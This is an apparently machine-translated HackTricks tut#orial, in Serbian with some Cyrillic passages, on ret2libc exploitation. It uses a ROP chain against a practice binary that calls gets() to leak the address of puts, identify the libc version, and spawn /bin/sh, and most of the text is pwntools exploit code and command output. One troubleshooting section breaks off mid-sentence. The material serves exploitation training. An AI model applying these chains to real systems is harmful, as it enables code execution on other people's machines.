Leaking libc address with ROP

Podržite HackTricks

Brzi rezime

  1. Pronađite offset prelivanja

  2. Pronađite POP_RDI gadget, PUTS_PLT i MAIN gadgete

  3. Koristite prethodne gadgete da curite adresu u memoriji funkcije puts ili druge libc funkcije i pronađite verziju libc (preuzmite je)

  4. Sa bibliotekom, izračunajte ROP i iskoristite ga

Ostali tutorijali i binarni fajlovi za vežbanje

Ovaj tutorijal će iskoristiti kod/binarni fajl predložen u ovom tutorijalu: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Još korisnih tutorijala: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Kod

Ime fajla: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - Leaking LIBC шаблон

Преузмите експлоит и ставите га у исту директорију као и рањиви бинарни фајл и дајте потребне податке скрипти:

Leaking libc - template

1- Налажење офсета

Шаблону је потребан офсет пре него што настави са експлоитом. Ако је било који пружен, извршиће потребан код да га пронађе (по подразумеваној вредности OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Izvršite python template.py GDB konzola će se otvoriti sa programom koji se srušio. Unutar te GDB konzole izvršite x/wx $rsp da dobijete bajtove koji su trebali da prepišu RIP. Na kraju dobijte offset koristeći python konzolu:

from pwn import *
cyclic_find(0x6161616b)

Nakon pronalaženja ofseta (u ovom slučaju 40) promenite OFFSET promenljivu unutar šablona koristeći tu vrednost. OFFSET = "A" * 40

Drugi način bi bio da se koristi: pattern create 1000 -- izvršiti do ret -- pattern seach $rsp iz GEF-a.

2- Pronalaženje Gadžeta

Sada treba da pronađemo ROP gadžete unutar binarnog fajla. Ovi ROP gadžeti će biti korisni za pozivanje puts kako bismo pronašli libc koja se koristi, a kasnije za pokretanje konačnog eksploita.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT je potreban za pozivanje funkcije puts. MAIN_PLT je potreban za ponovo pozivanje main funkcije nakon jedne interakcije da bi se iskoristio overflow ponovo (beskonačni krugovi eksploatacije). Koristi se na kraju svakog ROP-a da ponovo pozove program. POP_RDI je potreban da se proslijedi parametar pozvanoj funkciji.

U ovom koraku ne morate izvršavati ništa jer će sve biti pronađeno od strane pwntools tokom izvršenja.

3- Pronalaženje libc biblioteke

Sada je vreme da pronađemo koja verzija libc biblioteke se koristi. Da bismo to uradili, iskoristićemo leak adresu u memoriji funkcije puts i zatim ćemo pretražiti u kojoj verziji biblioteke se nalazi verzija puts na toj adresi.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Da bi to uradili, najvažnija linija izvršenog koda je:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Ovo će poslati neke bajtove dok prepisivanje RIP nije moguće: OFFSET. Zatim, postaviće se adresa gadgeta POP_RDI tako da će sledeća adresa (FUNC_GOT) biti sačuvana u registru RDI. To je zato što želimo da pozovemo puts prosljeđujući mu adresu PUTS_GOT jer je adresa u memoriji funkcije puts sačuvana u adresi na koju pokazuje PUTS_GOT. Nakon toga, biće pozvan PUTS_PLT (sa PUTS_GOT unutar RDI) tako da će puts pročitati sadržaj unutar PUTS_GOT (adresa funkcije puts u memoriji) i odštampati ga. Na kraju, glavna funkcija se ponovo poziva kako bismo mogli ponovo iskoristiti prelivanje.

Na ovaj način smo prevarili funkciju puts da odštampa adresu u memoriji funkcije puts (koja se nalazi u libc biblioteci). Sada kada imamo tu adresu možemo potražiti koja verzija libc se koristi.

Pošto iskorišćavamo neki lokalni binarni fajl, nije potrebno da otkrijemo koja verzija libc se koristi (samo pronađite biblioteku u /lib/x86_64-linux-gnu/libc.so.6). Ali, u slučaju udaljenog eksploata, objasniću ovde kako možete to pronaći:

3.1- Pretraživanje verzije libc (1)

Možete pretražiti koja biblioteka se koristi na veb stranici: https://libc.blukat.me/ Takođe će vam omogućiti da preuzmete otkrivenu verziju libc

3.2- Pretraživanje verzije libc (2)

Takođe možete uraditi:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Ovo će potrajati, budite strpljivi. Za ovo da bi radilo potrebni su nam:

  • Ime libc simbola: puts

  • Otkazana libc adresa: 0x7ff629878690

Možemo otkriti koja libc se najverovatnije koristi.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Dobijamo 2 podudaranja (trebalo bi da probate drugo ako prvo ne radi). Preuzmite prvo:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Kopirajte libc iz libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so u naš radni direktorijum.

3.3- Druge funkcije za leak

puts
printf
__libc_start_main
read
gets

4- Pronalaženje bazne libc adrese i eksploatacija

U ovom trenutku trebali bismo znati koja se libc biblioteka koristi. Pošto eksploatišemo lokalni binarni fajl, koristiću samo: /lib/x86_64-linux-gnu/libc.so.6

Dakle, na početku template.py promenite libc promenljivu na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Postavite putanju do biblioteke kada je znate

Davanjem putanje do libc biblioteke, ostatak eksploata će biti automatski izračunat.

Unutar get_addr funkcije, bazna adresa libc će biti izračunata:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Napomena da konačna libc osnovna adresa mora završavati sa 00. Ako to nije vaš slučaj, možda ste iscurili pogrešnu biblioteku.

Zatim, adresa funkcije system i adresa do stringa "/bin/sh" će biti izračunate iz osnovne adrese libc i date libc biblioteci.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Na kraju, eksploit za izvršenje /bin/sh će biti pripremljen i poslat:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Hajde da objasnimo ovaj konačni ROP. Poslednji ROP (rop1) je ponovo pozvao glavnu funkciju, tako da možemo ponovo iskoristiti overflow (zato je OFFSET ovde ponovo). Zatim, želimo da pozovemo POP_RDI koji pokazuje na adresu "/bin/sh" (BINSH) i pozovemo system funkciju (SYSTEM) jer će adresa "/bin/sh" biti prosleđena kao parametar. Na kraju, adresa funkcije exit je pozvana tako da proces izlazi lepo i ne generiše se nikakvo upozorenje.

Na ovaj način će exploit izvršiti _/bin/sh_** shell.**

4(2)- Korišćenje ONE_GADGET

Takođe možete koristiti ONE_GADGET da dobijete shell umesto korišćenja system i "/bin/sh". ONE_GADGET će pronaći unutar libc biblioteke neki način da dobije shell koristeći samo jednu ROP adresu. Međutim, obično postoje neka ograničenja, najčešća i lako izbegnuta su kao [rsp+0x30] == NULL Pošto kontrolišete vrednosti unutar RSP, samo treba da pošaljete još nekoliko NULL vrednosti kako bi se ograničenje izbeglo.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

Možete pronaći šablon za iskorišćavanje ove ranjivosti ovde:

Leaking libc - template

Uobičajeni problemi

MAIN_PLT = elf.symbols['main'] nije pronađen

Ako simbol "main" ne postoji. Tada možete pronaći gde je glavni kod:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

и ручно поставите адресу:

MAIN_PLT = 0x401080

Puts nije pronađen

Ako binarni fajl ne koristi Puts, trebali biste proveriti da li koristi

sh: 1: %s%s%s%s%s%s%s%s: nije pronađen

Ako pronađete ovu grešku nakon što ste kreirali sve eksploite: sh: 1: %s%s%s%s%s%s%s%s: nije pronađen

Pokušajte da oduzmete 64 bajta od adrese "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
Podržite HackTricks

Last updated